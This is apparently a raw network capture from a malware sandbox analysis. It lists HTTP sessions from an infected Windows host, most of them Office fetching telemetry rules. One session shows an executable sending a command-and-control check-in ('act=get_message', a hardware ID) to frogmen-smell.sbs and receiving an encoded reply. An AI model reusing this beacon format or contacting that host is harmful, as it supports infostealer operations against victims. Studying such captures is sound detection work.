2024-11-15 12:18:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121823Z-1866b5c5fbbfncq9hC1DFW7rf800000001b0000000000wwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49728	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: frogmen-smell.sbs
2024-11-15 12:18:24 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=54F09EF93057B8A3DB89560209A7689D
2024-11-15 12:18:24 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vrcb7cijnk5se4vn6qp8n2kkfc; expires=Tue, 11-Mar-2025 06:05:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3UAi5TDb3UtiYYpgsUlZp%2B%2F8zJ0tDG57R1arS%2BF1WySuMWE%2B0zwbAjr33P1OgMhkYc5RrBIngVqWJrUwoU0ZXrjud8kp134q%2BY%2F20%2BDxHq3hUu2MeLw3dXxwQXkehTYL2r7ygg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2f05d9c16c3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1241&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2326104&cwnd=251&unsent_bytes=0&cid=5ba39fac14466855&ts=330&x=0"
2024-11-15 12:18:24 UTC	214	IN	Data Raw: 64 30 0d 0a 32 6c 77 54 32 48 5a 30 47 58 78 51 5a 54 56 36 33 6a 63 2f 33 72 38 71 30 58 52 56 56 64 36 4a 2b 35 37 70 43 78 4e 73 66 2b 71 42 4a 7a 47 74 56 45 34 37 46 43 51 52 52 55 43 43 47 47 50 78 6a 68 4c 6b 57 6d 64 6b 36 36 66 4b 72 39 6f 6c 49 6c 6f 6a 78 62 55 36 64 59 52 5a 45 48 77 61 66 67 42 4e 48 2f 77 62 48 62 6a 4c 43 4f 74 45 65 58 65 37 71 38 47 76 6c 43 64 6f 54 67 72 49 34 48 35 37 72 41 49 45 49 79 42 2f 4f 52 70 4c 35 67 49 52 37 49 34 66 2f 30 56 6b 5a 76 43 34 7a 63 4c 47 65 47 63 4a 48 6f 65 47 63 32 47 35 47 42 42 32 45 58 34 41 54 52 2f 38 47 78 32 34 79 77 6a 72 52 48 6c 33 75 36 76 42 72 35 52 57 0d 0a Data Ascii: d02lwT2HZ0GXxQZTV63jc/3r8q0XRVVd6J+57pCxNsf+qBJzGtVE47FCQRRUCCGGPxjhLkWmdk66fKr9olIlojxbU6dYRZEHwafgBNH/wbHbjLCOtEeXe7q8GvlCdoTgrI4H57rAIEIyB/ORpL5gIR7I4f/0VkZvC4zcLGeGcJHoeGc2G5GBB2EX4ATR/8Gx24ywjrRHl3u6vBr5RW
2024-11-15 12:18:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: f9acdc70-401e-0064-2697-3654af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121824Z-164f84587bfffmgqhC1DFWk5ts00000001g0000000006f2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121824Z-164f84587bf28gjzhC1DFW35kg000000015000000000a4g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 0b41d791-c01e-0079-140b-36e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121824Z-1866b5c5fbbvqncjhC1DFW0gcw00000001cg000000002tm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121824Z-16547b76f7fwvr5dhC1DFW2c940000000myg00000000bvp2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121824Z-16547b76f7fht2hfhC1DFWbngg00000001qg000000005bhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 0e1cc1b7-001e-0066-7a9a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121825Z-164f84587bf7jb9dhC1DFWkay400000000yg000000005k99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121825Z-164f84587bfgp2sdhC1DFWyhvn00000001g0000000005zrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 9b34764f-701e-0098-7175-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121825Z-164f84587bf7mjf5hC1DFWvyqc000000011g00000000fabk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121825Z-16547b76f7fmbrhqhC1DFWkds80000000n4g0000000099y4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
